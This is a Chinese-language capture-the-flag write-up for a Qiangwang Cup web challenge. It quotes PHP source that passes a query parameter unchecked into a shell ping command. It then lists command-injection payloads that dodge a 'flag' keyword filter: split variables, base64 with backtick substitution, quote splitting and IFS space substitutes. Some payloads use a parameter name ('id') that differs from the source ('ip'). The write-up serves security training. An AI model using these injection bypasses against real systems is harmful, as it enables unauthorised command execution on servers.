[第四届-强网杯]:主动

源码:


highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

很明显的命令执行:
[第四届-强网杯]:主动_第1张图片

由上,我们看到,flag.php就在当前目录下,那么直接cat ./flag不就行了?
可人家将flag关键字过滤了,绕过的方法非常简单(其实刚好前不久才碰到…),有很多种方法绕过;
思路也很简单,只要不然他匹配到关键字即可。

绕过

1.利用变量去绕过:

通过变量赋值,再进行拼接,即可进行绕过:
payload:

?ip=1;a=fl;b=ag;cat $a$b.php

查看源代码:
[第四届-强网杯]:主动_第2张图片

2.通过base64编码

我们需要执行的命令传进去base64编码下,在解码执行即可

?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`

这里说一下:反引号`在Linux的命令行中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置,即完成引用命令的执行,将其结果替换出来。也就是说会将`里面base64解码的命令输出结果返回到命令中。这样即可绕过限制。(说一下,这里不止反引号`,$()也能在shell中起到命令替换的效果。)
也就间接执行了cat ./flag.php
[第四届-强网杯]:主动_第3张图片

查看源代码:
在这里插入图片描述

3通过引号绕过关键字

主要的目的还是不让匹配到关键字,那好办
payload:

?id=1;cat ./fl'ag'.php

查看源代码:
[第四届-强网杯]:主动_第4张图片

4.绕空格过滤

如果碰到过滤空格,还可以\${IFS}、<、 $IFS、\$IFS$9等字符来代替。

当然绕过姿势肯定是不止上面所说的那些,要懂得随机应变。

flag:

flag:flag{I_like_qwb_web

你可能感兴趣的:([第四届-强网杯]:主动)